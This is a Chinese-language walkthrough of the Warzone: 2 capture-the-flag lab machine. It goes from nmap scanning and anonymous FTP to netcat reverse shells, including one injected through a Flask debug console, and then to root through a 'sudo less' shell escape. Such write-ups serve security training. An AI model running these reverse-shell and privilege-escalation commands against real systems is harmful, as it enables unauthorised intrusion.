WARZONE: 2
一、基本信息
名称:Warzone: 2
发布日期:2020.11.9
作者:AL1ENUM
系列:Warzone
推特: @AL1ENUM
二、靶机简介
Flags:
admiral:/~/Desktop/silver.txt
root:/root/Desktop/gold.txt难度:中等
三、文件信息
文件名:Warzone2.ova
文件大小:2.6GB
下载地址:
MD5: FF639B25FB64A049E094FC20F51B732C
SHA1: E5B5CADF476129CC365EDF58C5855497B97F1AA5
四、镜像信息
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
五、网络信息
DHCP服务:可用
IP地址:自动分配
六、环境配置
1.将靶机warzone2和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
七、攻略步骤
信息探测
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 >ifconfig,查看kali分配到的ip
1 >nmap -sP 192.168.56.0/24,扫描靶机ip2.再进行端口扫描,发现开放了21,22和1337端口,都是无法网页访问的:
1 >nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.129 | tee nmapscan,端口扫描
FTP匿名登录
1.来到21端口,我们发现ftp服务可匿名登录:
1
2 ftp 192.168.56.129
anonymous2.在/anon目录下我们能发现username.PNG,password.PNG及token.PNG,全部获取到kali查看一下:
1
2
3
4
5
6 cd anon
ls -la
get username.PNG
get password.PNG
get token.PNG
quit3.在网络上查询旗语的指代,可以得到用户名为semaphore,密码为signalperson,然后进行sha256加密再转hex后得到token为833ad488464de1a27d512f104b639258e77901f14eab706163063d34054a7b26,可以远程链接1337端口:
1 nc 192.168.56.129 13374.可以在kali开启对应的端口监听,获取shell:
1
2
3 nc -e /bin/bash 192.168.56.102 1234,靶机返回shell
nc -lvnp 1234,kali开启监听
初步提权
1.在/flagman目录下我们能发现一个warzone2-socket-server目录,在其中的.mysshpassword文件可以发现flagman的ssh登录密码,可以登录到flagman:
2.在flagman用户下利用sudo -l命令能发现admiral用户能够执行wrz2-app.py,而flagman无权读写该文件:
3.运行wrz2-app.py发现程序在5000端口起了一个flask,并且开启了debug和输出了pin码:
1 sudo -u admiral /usr/bin/python3 /home/admiral/warzone2-app/wrz2-app.py4.那么我们就要尝试在debug中获取反弹shell,获取用户admiral权限。由于监听在地址127.0.0.1,这里使用socat做了一个端口转发:
1
2
3 socat TCP4-LISTEN:15000,reuseaddr,fork TCP4:127.0.0.1:5000
sudo -u admiral /usr/bin/python3 /home/admiral/warzone2-app/wrz2-app.py,再开启一个窗口链接flagman执行wrz2-app.py5.访问192.168.56.129:15000/console,输入wrz2-app.py生成的PIN,构造shell,在kali开启对应端口监听,成功反弹:
1
2
3
4 import os
os.system('nc -e /bin/bash 192.168.56.102 9002')
nc -lvnp 90026.在/home/admiral/Desktop目录下,我们能获得第一个flag,silver.txt:
1
2
3 cd ~/Desktop
ls -la
cat silver.txt
root提权
1.再通过sudo -l命令,可以看到less可以执行特权命令:
1 sudo -l2.那我们可以直接使用less进行提权:
1
2 sudo -u root /usr/bin/less /var/public/warzone-rules.txt
:!id,在warzone-rules.txt编辑页输入3.成功提权到root,并可以在/root/Desktop下发现第二个flag,gold.txt:
1
2 sudo -u root /usr/bin/less /var/public/warzone-rules.txt
cat /root/Desktop/gold.txt